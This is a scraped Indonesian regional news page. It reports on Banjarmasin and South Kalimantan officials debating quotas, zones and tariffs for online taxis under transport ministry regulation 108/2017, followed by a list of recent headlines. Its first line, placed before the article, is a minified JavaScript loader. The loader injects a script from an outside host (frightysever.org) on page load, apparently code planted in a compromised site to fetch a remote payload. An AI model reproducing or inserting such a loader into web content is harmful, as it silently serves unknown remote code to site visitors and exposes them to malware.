(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ini Regulasi Yang Harus Dipatuhi Taksi Online di Banua


BANJARMASIN, Lahan bisnis angkutan konvensional yang ‘diambil’ alih angkutan berbasis daring alias taksi online di Indonesia juga mulai dirasakan di Banua, pemerintah akhirnya melakukan Revisi Permenhub 26 Tahun 2016 menjadi Permenhub 108 tahun 2017 berlaku per 1 November.

Ketua Organda Kota Banjarmasin Budi Suryadi meminta kepada pemerintah harus menekan kepada taksi online agar mengikuti aturan yang berlaku di Indonesia.

“Ada beberapa poin kebijakan yang diambil oleh Provinsi Kalsel yaitu harus membatasi kuota taksi online, membatasi wilayah pengangkutan penumpang, harus ada perusahaan yang menaungi, serta samakan biaya angkutan dengan taksi konvensional,” ujar Budi Suryadi.

Berdasarkan data yang dihimpun pihaknya, saat ini diperkirakan sudah ada sekitar 3.500-an angkutan berbasis daring alias taksi online di Kalsel.

“Makanya kami minta Kementerian harus menegur dan membatasi jumlah kuotanya,” tegasnya.

Sekretaris Kementerian Perhubungan Angkutan Darat Wilayah 15 Kalimantan Selatan, Syamsuddin mengungkapkan, taksi online merupakan sebuah keniscayaan yang tidak bisa dipungkiri di lapangan. Menurutnya, dengan keluarnya Permenhub 108 menunjukan bahwa pemerintah ingin mengatur keseimbangan antara taksi konvensional dan taksi online.

Di lain pihak, Kadishub Provinsi Kalsel, Rudiansyah mengungkapkan, berdasarkan Permenhub 108 yang mengatur tentang teknis pelaksanaan taksi online yaitu taksi online harus pakai stiker “Tapi itu masih diprotes oleh pihak taksi online, SIM A Umum, pembatasan wilayah taksi online yang tidak boleh seperti Bandara, hotel, serta mall. Namun ini harus ada Pergub mengenai kuota, tarif, batas wilayah,” tutupnya.(robby)


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.